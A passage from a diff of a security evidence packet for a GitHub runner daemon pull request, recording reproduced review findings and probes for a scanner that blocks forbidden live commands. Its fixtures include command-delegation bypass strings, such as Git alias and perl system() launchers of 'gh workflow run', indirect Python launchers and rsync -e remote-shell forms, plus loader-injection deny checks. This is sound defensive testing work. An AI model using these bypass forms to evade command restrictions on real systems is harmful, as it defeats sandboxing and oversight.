body[:first_git]: - raise SystemExit(f"documentation Git block lacks reviewed config fence: {label}") -print("GREEN 4006042843: every current documentation-validation Git child inherited system/global isolation plus core.fsmonitor=false/core.hooksPath=/dev/null before its first Git lookup") +def logical_commands(source_lines): + commands = [] + index = 0 + while index < len(source_lines): + first = index + command = source_lines[index].rstrip() + while command.endswith("\\"): + command = command[:-1].rstrip() + " " + index += 1 + command += source_lines[index].lstrip() + commands.append((first, command)) + index += 1 + return commands +logical = sum( + not command.lstrip().startswith("selector_probe=$'") + and logical_selector_command.search(command) is not None + for _, command in logical_commands(lines) +) +wrapper_records = sum(line.startswith("go_test_checked ") for line in lines) +if logical != wrapper_records or logical != 28: + raise SystemExit(f"selector count mismatch: logical={logical}, top-level wrapper={wrapper_records}") +print("GREEN 4007243520: selector certification counted 28 logical selectors and 28 top-level go_test_checked records; indented go_vet_checked adapter excluded") -safe_env = { - **os.environ, - "PATH": "/opt/homebrew/bin:/usr/bin:/bin", - "GIT_CONFIG_NOSYSTEM": "1", "GIT_CONFIG_GLOBAL": "/dev/null", "GIT_CONFIG_SYSTEM": "/dev/null", - "GIT_CONFIG_COUNT": "2", "GIT_CONFIG_KEY_0": "core.fsmonitor", "GIT_CONFIG_VALUE_0": "false", - "GIT_CONFIG_KEY_1": "core.hooksPath", "GIT_CONFIG_VALUE_1": "/dev/null", -} -with tempfile.TemporaryDirectory() as directory: - root = Path(directory); marker = root / "fsmonitor-marker"; hook = root / "fsmonitor-hook" - hook.write_text("#!/bin/sh\nprintf invoked > \"$G01_MARKER\"\n", encoding="utf-8"); hook.chmod(0o755) - setup_env = {**safe_env, "GIT_CONFIG_COUNT": "0"} - subprocess.run(["git", "init", "-q"], cwd=root, env=setup_env, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) - subprocess.run(["git", "config", "core.fsmonitor", str(hook)], cwd=root, env=setup_env, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) - result = subprocess.run(["git", "status", "--porcelain=v1"], cwd=root, env={**safe_env, "G01_MARKER": str(marker)}, capture_output=True, text=True, check=False) - if result.returncode != 0 or marker.exists(): - raise SystemExit("synthetic fsmonitor hook was not suppressed by documentation Git fence") -print("GREEN 4006042843 boundary: synthetic local fsmonitor hook was suppressed by the documented Git child environment; no hook or delegated command ran") +wrapper_start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 +wrapper_end = packet.index("\nPY\n}", wrapper_start) +wrapper = packet[wrapper_start:wrapper_end] +module = ast.parse(wrapper, filename="") +functions = {node.name: node for node in module.body if isinstance(node, ast.FunctionDef)} +terminator = functions["terminate_go_child_group"] +if any( + isinstance(node, ast.Call) + and isinstance(node.func, ast.Attribute) + and node.func.attr == "wait" + and not node.args + and not node.keywords + for node in ast.walk(terminator) +): + raise SystemExit("unbounded terminate_go_child_group wait remains") + +class FakeProcess: + pid = 424242 + def __init__(self, group_dies): + self.group_dies = group_dies + self.wait_calls = [] + def wait(self, timeout=None): + if timeout is None: + raise AssertionError("unbounded wait called") + self.wait_calls.append(timeout) + if len(self.wait_calls) > 1 and not self.group_dies: + raise subprocess.TimeoutExpired(["go", "test"], timeout) + return 0 + +def run_cleanup(group_dies): + group_alive = True + signals = [] + def fake_killpg(pid, signal_number): + nonlocal group_alive + if pid != 424242: + raise AssertionError("cleanup targeted a different process group") + signals.append(signal_number) + if signal_number == signal.SIGKILL and group_dies: + group_alive = False + elif signal_number == 0 and not group_alive: + raise ProcessLookupError + saved_killpg = os.killpg + os.killpg = fake_killpg + try: + namespace = { + "os": os, "signal": signal, "subprocess": subprocess, "time": time, + "label": "sigkill-boundary", "go_child_termination_grace_seconds": 0.01, + } + exec(compile(ast.Module(body=[ + functions["close_go_child_streams"], + functions["owned_go_process_group_exists"], + functions["wait_for_owned_go_process_group_exit"], + terminator, + ], type_ignores=[]), "", "exec"), namespace) + process = FakeProcess(group_dies) + try: + namespace["terminate_go_child_group"](process) + except SystemExit as error: + if group_dies or "not reaped after SIGKILL" not in str(error): + raise + if signal.SIGKILL not in signals: + raise SystemExit("SIGKILL was not sent to the owned group") + if any(call is None for call in process.wait_calls): + raise SystemExit("SIGKILL reap used an unbounded wait") + return "unreaped child/group failed closed after bounded grace" + if not group_dies: + raise SystemExit("unreaped child/group was accepted") + if any(call is None for call in process.wait_calls): + raise SystemExit("successful SIGKILL reap used an unbounded wait") + return "owned child/group reaped within bounded grace" + finally: + os.killpg = saved_killpg + +print(f"GREEN 4007243527: {run_cleanup(False)}; {run_cleanup(True)}; no real child ran") PY ``` Recorded focused green output: ```text -forbidden-live-command synthetic probes: passed; direct/wrapped fetcher, every gh invocation including global-flag and absolute forms, every Docker invocation, command-delegating xargs/find/parallel/make forms, Git difftool/mergetool, --extcmd/--tool/--ext-diff, GIT_EXTERNAL_DIFF, diff.external and --config-env alias delegation forms, env split-string/operand forms, unsupported function/brace/case compounds, shell substitutions/process substitutions, limactl/security/launchctl, eval, AST-inspected safe/unsafe Python heredocs including versioned -c/getoutput/getstatusoutput/execvp and unresolved launcher aliases, parameter-expanded executables, and direct/nested bash/sh -c forms rejected; prose/URLs/comments/scanner source/fixtures ignored -forbidden-live-command scan: passed; executable shell prescriptions contain no forbidden live App/runner/Docker/Lima/Keychain/launchd/workflow/fetch command -GREEN 4006042813: embedded scanner passed reproducibly; checked_helper was replaced with a literal reviewed helper call, multiline quoted regex/awk bodies stayed data, and no forbidden command ran -GREEN 4006042822: GIT_EXTERNAL_DIFF, git diff --ext-diff and diff.external helper delegation rejected; safe --no-ext-diff/status/diff forms retained -GREEN Luna alias bypass: split/equals --config-env alias.* delegation rejected before Git classification; safe user config/status retained -GREEN 4006042835: DYLD_FALLBACK_FRAMEWORK_PATH and all reviewed loader variables were checked before every rg/wc/tr/grep selector lookup; hostile loader boundary stopped before marker -GREEN 4006042843: every current documentation-validation Git child inherited system/global isolation plus core.fsmonitor=false/core.hooksPath=/dev/null before its first Git lookup -GREEN 4006042843 boundary: synthetic local fsmonitor hook was suppressed by the documented Git child environment; no hook or delegated command ran +GREEN 4007243497: Perl/ruby/node/Python command-capable interpreter forms rejected before execution; safe Git status and printf retained +GREEN 4007243507: direct/qualified/aliased/unresolved eval, exec and __import__ forms fail closed before marker certification; reviewed safe launcher/static helper forms retained +GREEN 4007243520: selector certification counted 28 logical selectors and 28 top-level go_test_checked records; indented go_vet_checked adapter excluded +GREEN 4007243527: unreaped child/group failed closed after bounded grace; owned child/group reaped within bounded grace; no real child ran ``` -The focused probes are static, synthetic or Git-only boundary evidence. They do -not qualify a compiler, Go test/list/body command, live runner, workflow, remote -API or production operation. Exact-head Codex review of the final pushed head, -required CI and maintainer live authorization remain open. +The focused probes are static, synthetic or in-memory boundary evidence only. +They do not qualify a compiler, Go test/list/body command, live runner, +workflow, remote API, credential, Docker/Lima, Keychain or launchd operation. +The packet remains offline/source evidence with all live authorization gaps +explicit. Rollback is narrow and packet-only: restore `docs/evidence/g01-recovery-packet.md` to immutable parent -`7d91bed688dbea21bea7dff62f41d48d1d57ce4b`; preserve independent driver, +`2abe394ee32f09888892c4adea5fc08121845d6b`; preserve independent driver, review and manual-runner state, and never force-kill, prune or replay a live resource. @@ -18992,64 +32181,134 @@ resource. | Finding and immutable source | Exact review URL | Disposition and rollback evidence | |---|---|---| -| 4006042813, source `7d91bed688dbea21bea7dff62f41d48d1d57ce4b` | [discussion 4006042813](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006042813) | Reproduced the exact-parent scanner's `checked_helper` and quoted regex/awk false rejections. The scanner now uses a literal reviewed helper call, skips assignment-only records, keeps multiline quoted shell data together and passes its own full embedded scan; no forbidden command ran. Rollback is packet-only parent restoration. | -| 4006042822, source `7d91bed688dbea21bea7dff62f41d48d1d57ce4b` | [discussion 4006042822](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006042822) | Reproduced accepted `GIT_EXTERNAL_DIFF`, `git diff --ext-diff` and `diff.external` helper delegation. The scanner now rejects environment, `--ext-diff`, `diff.external`, `difftool`/`mergetool` and command-delegation forms before generic classification while safe `--no-ext-diff`, status and diff forms remain accepted. Rollback is packet-only parent restoration. | -| 4006042835, source `7d91bed688dbea21bea7dff62f41d48d1d57ce4b` | [discussion 4006042835](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006042835) | Reproduced the selector audit reaching `rg` before a complete loader fence. Both selector preflights now include `DYLD_FALLBACK_FRAMEWORK_PATH` and all reviewed loader variables; static ordering and hostile-loader marker boundaries passed. Rollback is packet-only parent restoration. | -| 4006042843, source `7d91bed688dbea21bea7dff62f41d48d1d57ce4b` | [discussion 4006042843](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006042843) | Reproduced a bare `git ls-files` child in the exact-parent markdown/link validation. Every current documentation-validation Git block now exports system/global isolation and `GIT_CONFIG_COUNT` overrides for `core.fsmonitor=false` and `core.hooksPath=/dev/null`; a synthetic local fsmonitor hook was suppressed. Rollback is packet-only parent restoration. | -| Independent Luna-max follow-up, source `7d91bed688dbea21bea7dff62f41d48d1d57ce4b` | [tracking comment](https://github.com/1XP-AI/gh-runnerd/pull/78#issuecomment-5666074520) | Reproduced and rejected split/equals `git --config-env alias.*` delegation before generic Git classification while safe user config/status remained accepted. The concrete tracking comment carries the independent finding; rollback is packet-only parent restoration. | +| 4007243497, source `2abe394ee32f09888892c4adea5fc08121845d6b` | [discussion 4007243497](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4007243497) | Reproduced exact-parent acceptance of `perl -e system("gh workflow run ci.yml")`. The scanner now rejects Perl and other reviewed command-capable interpreter basenames before execution while safe Git status/printf forms remain accepted. Rollback is packet-only parent restoration. | +| 4007243507, source `2abe394ee32f09888892c4adea5fc08121845d6b` | [discussion 4007243507](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4007243507) | Reproduced exact-parent acceptance of direct `eval`, `exec` and `__import__` primitives even with the safe marker. The AST pass now rejects direct/qualified/aliased/unresolved dynamic execution primitives before marker handling, retaining only the static reviewed packet helper shape and literal packet imports. Rollback is packet-only parent restoration. | +| 4007243520, source `2abe394ee32f09888892c4adea5fc08121845d6b` | [discussion 4007243520](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4007243520) | Reproduced the exact-parent 28 logical selector/29 wrapper-record mismatch caused by the indented `go_vet_checked` adapter delegation. The audit now counts only column-zero test prescriptions, so selector certification is 28/28 while both vet commands remain adapter-guarded. Rollback is packet-only parent restoration. | +| 4007243527, source `2abe394ee32f09888892c4adea5fc08121845d6b` | [discussion 4007243527](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4007243527) | Reproduced the exact-parent unbounded `process.wait()` after SIGKILL. Cleanup now bounds the post-kill direct-child reap and owned-group liveness grace, failing closed on timeout/unsupported bounded waits; synthetic group-dies and group-does-not-reap cases passed without a real child. Rollback is packet-only parent restoration. | #### Packet body/link/fence/hygiene certification -The candidate packet-only diff was then checked without any compiler, Go/vet -child or live operation: Markdown fence parity, packet-local links/files, -backlog JSON syntax, embedded wrapper/scanner AST, fresh probe-body AST, -exact red/green transcript presence, packet-only scope, added-line -secret/private-path hygiene and whitespace were all checked. The final counts -and exact head/remote parity belong to the post-push handoff and are not claimed -by this pre-push packet record. +The final packet-only candidate is checked without any compiler, Go/vet child or +live operation. Markdown fence parity, packet-local links/files, backlog JSON, +changed-boundary ledger shape, embedded wrapper/scanner AST/compile, focused +red/green transcript presence, packet-only scope, added-line secret/private-path +hygiene and whitespace are checked before push; exact local/remote parity is +recorded only after the focused commit is pushed. Recorded packet certification output: ```text -GREEN packet certification: 284 Markdown fences balanced, 157 local markdown targets checked, backlog JSON valid, changed-boundary ledger valid with 10 data rows and 4 columns, embedded wrapper/scanner AST and compile valid, 2 fresh probe bodies AST-valid, exact red/green outputs present, only packet changed, added-line secret/private-path hygiene clean, and git diff --check passed +GREEN packet certification: 314 Markdown fences balanced, 25 packet-local targets checked, backlog JSON valid, changed-boundary ledger valid with 10 data rows and 4 columns, embedded wrapper/scanner AST and compile valid, 2 fresh probe bodies AST-valid, exact red/green outputs present, only packet changed, added-line secret/private-path hygiene clean ``` -### Fresh exact-head P1/P2 corrections at `71a7a599de567914158b05e3c480f7e0d48c709f` +### Fresh exact-head Codex corrections at `477d5e6d9af5f04d5b506d0a4337ae3444a71688` -The exact-head Codex review of immutable parent -`71a7a599de567914158b05e3c480f7e0d48c709f` identified three actionable -findings, followed by one additional current-head substitution boundary. The -Git scanner compared config assignment keys case-sensitively and -accepted case-variant `Alias.*` shell aliases in split/equals forms -([discussion 4006514896](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006514896)); -the Python AST pass skipped indirect command-capable module launchers such as -`getattr(subprocess, "run")([...])` and an `os.__dict__` subscript launcher for -`system` -([discussion 4006514914](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006514914)); -and the independent Luna follow-up ledger still had URL-pending text -([discussion 4006514927](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006514927)). -The independent Luna review also found that assignment-only shell records -could skip command substitutions -([discussion 4002447537](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002447537)). -This packet-only wave keeps the exact parent/source/rollback evidence and all -live qualification gaps explicit; no Go, compiler, workflow, runner, Docker, -Lima, Keychain, launchd, credential or live GitHub operation ran. +The five exact-head PR #78 findings below were reproduced against immutable +parent `477d5e6d9af5f04d5b506d0a4337ae3444a71688` before editing this packet. +The candidate correction remains limited to this evidence packet; no Go source, +workflow, PR/issue metadata, live App/runner, Docker/Lima, Keychain, launchd, +credential or real child operation was used. -#### Exact-parent red reproductions +| Finding | Exact review URL | Packet-only disposition | +|---|---|---| +| 4007547706 | [discussion 4007547706](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4007547706) | Reviewed `exec(compile(...))` source is limited to named packet-derived slices, approved concatenations and selected AST modules; arbitrary literal source and compiler kwargs are rejected. | +| 4007547713 | [discussion 4007547713](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4007547713) | Executable basenames are casefolded before wrapper, shell and deny-list classification, so `BASH`, `GH` and `DOCKER` case variants retain their blocked classifications. | +| 4007547724 | [discussion 4007547724](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4007547724) | Direct Git commands are allowlisted to read-only packet queries; remote/destructive subcommands and mutating `config` forms fail closed. Exact local temporary-repository setup/cleanup argv is retained only when its `cwd` is a direct `Path` alias inside a literal `TemporaryDirectory`, never by marker alone. | +| 4007547735 | [discussion 4007547735](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4007547735) | Both source-status checks use selector-based bounded reads, a 64 KiB combined output cap, a 30 second independent deadline, first-entry dirty short-circuit and process-group cleanup; timeout, overflow, decode and cleanup failures fail closed. | +| 4007547741 | [discussion 4007547741](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4007547741) | Shell script paths and redirected shell input fail closed before payload inspection. The only retained shell-input probe is a named immutable preflight-derived body whose expression, temporary fixture scope and `PIPE` capture are AST-inspected; unresolved input remains rejected. | -The red probe reads only immutable parent `71a7a599de567914158b05e3c480f7e0d48c709f` -with `git show`, executes the parent scanner over in-memory packet text, and -checks the parent ledger text. It records the case-variant Git alias bypass, -the assignment-only substitution bypass, both indirect Python launcher -examples, and the URL-pending Luna row without starting a Go child or any live -command. +#### Exact-parent red outputs + +The focused red command used `git show` for only the immutable parent packet, +then extracted that packet's own embedded scanner and wrapper AST with isolated +Python. It ran no extracted command or child; the exact output was: + +```text +RED 4007547706: exact parent accepted arbitrary literal source in reviewed exec(compile(...)) +RED 4007547713: exact parent accepted case-variant BASH/GH/DOCKER executable basenames +RED 4007547724: exact parent accepted remote/destructive Git subcommands +RED 4007547735: exact parent had 2 unbounded captured git status call(s) with no timeout/output cap +RED 4007547741: exact parent accepted shell script and redirected shell input forms +``` + +#### Focused green and boundary outputs + +The focused green command reused the candidate packet's exact embedded scanner +definitions and wrapper helper AST. Direct classification covered all three +case-variant executable forms, all four remote/destructive Git forms, all three +shell script/redirected-input forms and retained read-only Git status/diff/ +`ls-remote`; AST probes covered arbitrary versus packet-derived compile source, +the immutable temporary shell body, unresolved shell input, and in-memory fake +pipes for first-entry, cap and deadline boundaries. + +```text +GREEN 4007547713/4007547724/4007547741: casefolded executable basenames, remote/destructive Git forms, and shell script/redirected-input forms classified at the direct-command boundary; read-only Git retained +GREEN 4007547706: arbitrary literal compile source rejected; reviewed packet source slices and selected AST modules retained +GREEN 4007547741: only the inspected TemporaryDirectory-derived synthetic shell body retained; unresolved shell input rejected +GREEN 4007547735: bounded Git status helper uses selector reads, first-entry dirty short-circuit, 64KiB cap, independent deadline, and stalled/oversized fake pipes fail closed; no child started +``` + +The full current embedded forbidden-command scan and its static synthetic +probes then passed: + +```text +forbidden-live-command synthetic probes: passed; direct/wrapped fetcher, every gh invocation including global-flag and absolute forms, every Docker invocation, command-delegating xargs/find/parallel/make forms, Git difftool/mergetool, --extcmd/--tool/--ext-diff, GIT_EXTERNAL_DIFF, diff.external and --config-env alias delegation forms, env split-string/operand forms, unsupported function/brace/case compounds, shell substitutions/process substitutions, limactl/security/launchctl, eval, AST-inspected safe/unsafe Python heredocs including versioned -c/getoutput/getstatusoutput/execvp, getattr/__dict__ indirect launchers and unresolved launcher aliases, parameter-expanded executables, and direct/nested bash/sh -c forms rejected; prose/URLs/comments/scanner source/fixtures ignored +forbidden-live-command scan: passed; executable shell prescriptions contain no forbidden live App/runner/Docker/Lima/Keychain/launchd/workflow/fetch command +``` + +Rollback is narrow and packet-only: restore +`docs/evidence/g01-recovery-packet.md` to immutable parent +`477d5e6d9af5f04d5b506d0a4337ae3444a71688`; preserve independent driver, +review and manual-runner state, and do not force-kill, prune or replay a live +resource. These checks remain static, synthetic, in-memory or read-only Git +inspection evidence: no Go/compiler/test body, live runner, workflow/API, +credential, Docker/Lima, Keychain or launchd qualification is claimed. + +#### Packet certification for this exact-head correction + +The packet-only certification ran after the focused boundaries and full +embedded scan. It checked fence parity, all packet-local link targets and +anchors, backlog JSON, the ten-row/four-column changed-boundary ledger, exact +wrapper/scanner AST and compilation, bounded status-call shape, exact finding +URLs and red/green transcripts, packet-only scope, added-line secret/private +path hygiene and whitespace: + +```text +GREEN packet certification: 322 Markdown fences balanced, 63 packet-local targets checked, backlog JSON valid, changed-boundary ledger valid with 10 data rows and 4 columns, embedded wrapper/scanner AST and compile valid, bounded Git status checks valid, exact five URLs and red/green outputs present, only packet changed, added-line secret/private-path hygiene clean, and git diff --check passed +``` +#### Historical pre-fix packet certification + +The final packet-only certification for the exact prior candidate was run with +same-file fragment handling, then the working diff, one-file scope and +added-line secret/private-path checks passed. It is retained as historical +evidence; the current correction's certification is recorded below: + +```text +GREEN packet certification: 324 Markdown fences balanced, 157 packet-local targets checked with same-file fragments, backlog JSON valid, changed scope is one packet path, embedded wrapper/scanner/filter/parity AST and compile valid, four current correction boundaries present, and added-line secret/private-path hygiene clean +``` + +### Fresh exact-head corrections at `14f998f32710f122f5861edfac8fdbc89ef95bfb` + +The three fresh exact-head PR #78 Codex roots below were reproduced against the +immutable packet parent before this correction. The correction remains limited to +this evidence packet; no Go/runtime/live App/runner/Docker/Lima/Keychain/launchd, +workflow or credential state was changed, and no live operation was run. The +three older no-direct-reply roots are also listed below: their review ancestry is +stale, but each was inspected against the current packet and dispositioned from +current source evidence rather than staleness or a later duplicate fix alone. + +#### Exact-parent RED probes + +The red probe reads only the exact parent blob with `git show`, extracts the +parent wrapper/scanner in memory, and uses static AST checks. It runs no command +from the extracted packet and no live or remote operation: ```sh set -euo pipefail export PATH=/opt/homebrew/bin:/usr/bin:/bin -export GIT_CONFIG_NOSYSTEM=1 GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null GIT_CONFIG_COUNT=2 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=false GIT_CONFIG_KEY_1=core.hooksPath GIT_CONFIG_VALUE_1=/dev/null [ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } [ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } +# g01-safe-python-heredoc: reviewed exact-parent packet extraction /opt/homebrew/bin/python3 -I - <<'PY' import ast import re @@ -19057,2011 +32316,2433 @@ import shlex import subprocess from pathlib import Path -parent = "71a7a599de567914158b05e3c480f7e0d48c709f" +parent = "14f998f32710f122f5861edfac8fdbc89ef95bfb" packet = subprocess.check_output( - ["git", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], + ["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], text=True, ) + +remote_anchor = packet.index("expected_origin_url =") +remote_block = packet[remote_anchor:packet.index("\nPY\n```", remote_anchor)] +remote_query = re.search( + r'\["git", "ls-remote", "origin", "refs/heads/orca/g01-evidence-packet"\]', + remote_block, +) +if remote_query and "TemporaryDirectory" not in remote_block: + print("RED 4008370032: exact parent remote parity used local-config-sensitive git ls-remote origin without an isolated config/cwd") +else: + raise SystemExit("red setup changed: exact parent remote query already isolated") + +wrapper_start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 +wrapper_end = packet.index("\nPY\n}", wrapper_start) +wrapper_tree = ast.parse(packet[wrapper_start:wrapper_end], filename="") +guard = next( + node for node in wrapper_tree.body + if isinstance(node, ast.FunctionDef) and node.name == "git_filter_attribute_guard" +) +path_calls = [ + node for node in ast.walk(guard) + if isinstance(node, ast.Call) + and isinstance(node.func, ast.Attribute) + and isinstance(node.func.value, ast.Name) + and node.func.value.id == "subprocess" + and node.func.attr == "run" +] +if len(path_calls) >= 3 and all( + any(keyword.arg == "stdout" and isinstance(keyword.value, ast.Attribute) and keyword.value.attr == "PIPE" for keyword in call.keywords) + and any(keyword.arg == "stderr" and isinstance(keyword.value, ast.Attribute) and keyword.value.attr == "PIPE" for keyword in call.keywords) + for call in path_calls[:3] +): + print(f"RED 4008370041: exact parent path-inventory filter preflight buffered {len(path_calls[:3])} git ls-files stream(s) through subprocess.run before its post-capture cap") +else: + raise SystemExit("red setup changed: exact parent path inventory already streamed") + scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) scanner_end = packet.index("\nmatches = []", scanner_anchor) -scanner = packet[scanner_start:scanner_end].replace( - 'source = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8")', - 'source = ""', - 1, -) scanner_ns = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} -exec(compile(scanner, "", "exec"), scanner_ns) -for command in ( - "git -c Alias.ship=!gh workflow run ci.yml", - "git -c=ALIAS.ship=!gh workflow run ci.yml", - "git -cAlias.ship=!gh workflow run ci.yml", -): - segments = scanner_ns["shell_token_segments"](command) - if not segments or scanner_ns["forbidden_command"](segments[0]) is not None: - raise SystemExit(f"red setup changed: parent already rejected {command!r}") -print("RED 4006514896: exact parent accepted case-variant Alias.* shell aliases in split/equals/attached -c forms") - -assignment_fixture = "```sh\nx=\"$(gh workflow run ci.yml)\"\n```" -if list(scanner_ns["shell_commands"](assignment_fixture)): - raise SystemExit("red setup changed: parent yielded assignment-only substitution") -print("RED 4002447537 follow-up: exact parent skipped assignment-only x=\"$(gh workflow run ci.yml)\" and recorded no forbidden command") - -for body in ( - 'import subprocess\ngetattr(subprocess, "run")(["gh", "api", "x"])\n', - 'import os\nos.__dict__["system"]("docker version")\n', -): - if scanner_ns["inspect_python_heredoc"](body, False) is not None: - raise SystemExit("red setup changed: parent already rejected indirect module launcher") -print("RED 4006514914: exact parent accepted getattr(subprocess, \\\"run\\\")([...]) and os.__dict__[\\\"system\\\"](...) command launchers") +exec(compile(packet[scanner_start:scanner_end], "", "exec"), scanner_ns) +fixture = "rsync -e /tmp/live-helper source host:destination" +observed = any( + scanner_ns["forbidden_command"](segment) is not None + for segment in scanner_ns["shell_token_segments"](fixture) +) +if not observed: + print("RED 4008370049: exact parent accepted rsync -e external remote-shell delegation (violation=None)") +else: + raise SystemExit("red setup changed: exact parent already rejects rsync delegation") -if "URL not supplied in worker dispatch" not in packet or "https://github.com/1XP-AI/gh-runnerd/pull/78#issuecomment-5666074520" in packet: - raise SystemExit("red setup changed: exact parent follow-up ledger text moved") -print("RED 4006514927: exact parent Luna follow-up ledger still had URL-pending text and no concrete tracking URL") +stale = { + "4002335146": ( + 'reviewed_goauth = "off"' in packet + and 'env["GOAUTH"] = reviewed_goauth' in packet + and "auth command forms are not allowed" in packet + ), + "4002335150": ( + "go_vet_checked vet-livecanary" in packet + and "go_vet_checked vet-liveworker" in packet + and "go vet -C experiments/g01-scaleset" in packet + ), + "4002335155": ( + "def capture_go_child_output(process, go_command):" in packet + and "go_child_output_max_bytes = 8 * 1024 * 1024" in packet + and "subprocess.Popen(" in packet[packet.index("def run_go_child("):packet.index("def run_go_child(") + 6000] + ), +} +for root, fixed in stale.items(): + if not fixed: + raise SystemExit(f"stale-root setup changed: current packet lacks evidence for {root}") + print(f"CURRENT {root}: exact-parent packet contains current bounded disposition evidence; no staleness-only resolution used") PY ``` -Recorded exact-parent red output: +Recorded exact-parent RED output: ```text -RED 4006514896: exact parent accepted case-variant Alias.* shell aliases in split/equals/attached -c forms -RED 4002447537 follow-up: exact parent skipped assignment-only x="$(gh workflow run ci.yml)" and recorded no forbidden command -RED 4006514914: exact parent accepted getattr(subprocess, "run")([...]) and os.__dict__["system"](...) command launchers -RED 4006514927: exact parent Luna follow-up ledger still had URL-pending text and no concrete tracking URL +RED 4008370032: exact parent remote parity used local-config-sensitive git ls-remote origin without an isolated config/cwd +RED 4008370041: exact parent path-inventory filter preflight buffered 3 git ls-files stream(s) through subprocess.run before its post-capture cap +RED 4008370049: exact parent accepted rsync -e external remote-shell delegation (violation=None) +CURRENT 4002335146: exact-parent packet contains current bounded disposition evidence; no staleness-only resolution used +CURRENT 4002335150: exact-parent packet contains current bounded disposition evidence; no staleness-only resolution used +CURRENT 4002335155: exact-parent packet contains current bounded disposition evidence; no staleness-only resolution used ``` -#### Minimal packet-only correction, refactor and focused green/boundary probes +A separate local-only Git fixture confirmed the URL rewrite mechanism: a +repository whose literal `remote.origin.url` was the canonical GitHub URL +returned a synthetic fixture SHA from `git ls-remote origin` after a local +`url.*.insteadOf` rule was installed. No network, GitHub, runner or workflow +operation was involved: -The minimal correction keeps command substitutions visible even when a shell -record is assignment-only, so `$()`/backticks/process substitutions cannot be -skipped before forbidden-command inspection. It normalizes every Git config assignment key before -matching `Alias.*`, covering `-c` split/equals/attached forms and both -`--config-env` forms while retaining ordinary user config/status/diff behavior. -The AST refactor classifies indirect `getattr` and module `__dict__` launcher -calls through imported `os`/`subprocess` modules, resolves known literal -launchers through the existing command policy, and rejects unresolved module -attributes before dynamic-argument handling. The ledger replaces the URL-pending -independent Luna text with tracking comment -`https://github.com/1XP-AI/gh-runnerd/pull/78#issuecomment-5666074520` while -retaining exact-head source and packet-only rollback evidence. +```text +RED 4008370032 local fixture: local remote.origin.url=https://github.com/1XP-AI/gh-runnerd.git; git ls-remote origin returned rewritten fixture SHA (not canonical GitHub) +``` -The green probe exercises all Git assignment forms, safe config boundaries, -known and unresolved indirect Python launchers, the concrete tracking URL and -the exact current source/rollback text. It remains static/in-memory and does -not execute any Python launcher, Go, compiler, workflow, runner, Docker, Lima, -Keychain, launchd, credential or live GitHub operation. +#### Minimal packet correction and focused GREEN probes + +The minimal correction streams each of the three `git ls-files` inventories +through an owned process group with selector reads, a 30-second deadline and a +single aggregate 64 KiB cap before appending path bytes. It isolates final remote +parity from repository-local URL rewriting by querying the pinned canonical URL +from a fresh temporary working directory after removing repository/config +environment overrides. The scanner now rejects `rsync` as an external remote +launcher, including `-e`/`--rsh` forms, while retaining safe `printf` and +read-only Git queries; existing GOAUTH, vet and Go-child output safeguards remain +unchanged. + +The focused GREEN probe extracts only the candidate wrapper/scanner and remote +parity template. It exercises synthetic selector pipes for normal and oversized +path inventories, static canonical-URL/isolation checks, scanner boundaries and +the three stale-root dispositions; it starts no child and performs no live +operation: ```sh set -euo pipefail export PATH=/opt/homebrew/bin:/usr/bin:/bin -export GIT_CONFIG_NOSYSTEM=1 GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null GIT_CONFIG_COUNT=2 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=false GIT_CONFIG_KEY_1=core.hooksPath GIT_CONFIG_VALUE_1=/dev/null [ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x 